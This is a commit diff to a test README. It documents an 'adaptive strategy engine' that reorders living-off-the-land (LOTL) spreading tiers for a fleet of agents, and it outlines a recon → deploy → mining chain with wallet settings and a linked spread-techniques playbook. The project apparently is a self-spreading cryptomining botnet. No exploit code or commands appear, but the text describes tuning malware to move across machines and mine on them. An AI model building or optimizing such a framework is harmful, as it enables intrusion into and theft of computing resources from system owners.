Add fleet adaptive strategy engine for proactive LOTL tier ordering

tests/README.md

@@ -50,6 +50,12 @@ Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-Ski
 
 Playbook: [`/docs/SPREAD_TECHNIQUES.html#lotl-onion`](../server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion). Recon regression: `scripts/test-suite.ps1 -ReconOnly` after landing agents.
 
+## Adaptive Strategy
+
+The server **adaptive strategy engine** (`server/internal/strategy/`) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, `lotl_attempts`, and `mining_hashrate`. On agent auth it pushes `adaptive_strategy` with a personalized `tier_order`, optional `skip_tiers`, and a human-readable `strategy_reasoning[]` trace (weighted scoring — not a black-box LLM). Background rescoring runs every 5 minutes from `stats_batch` / `tier_report` ingestion into SQLite `tier_outcomes`. Adaptive overrides **order and skip hints** only; it does not change wallet, `patch_first`, or other triple-onion gates. Disable via Calibrate `server.adaptive_strategy_enabled` (default `true`). Manual refresh: `POST /api/v1/strategy/recompute`. Crucible **Access Depth → Strategy** shows reasoning bullets and an **Adaptive** badge when the server order differs from default.
+
+Regression: `go test ./internal/strategy/... ./internal/api/ -run Adaptive` (server) and Vitest `AccessDepthPanel.test.tsx`.
+
 ## LOTL architecture (triple onion)
 
 The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds.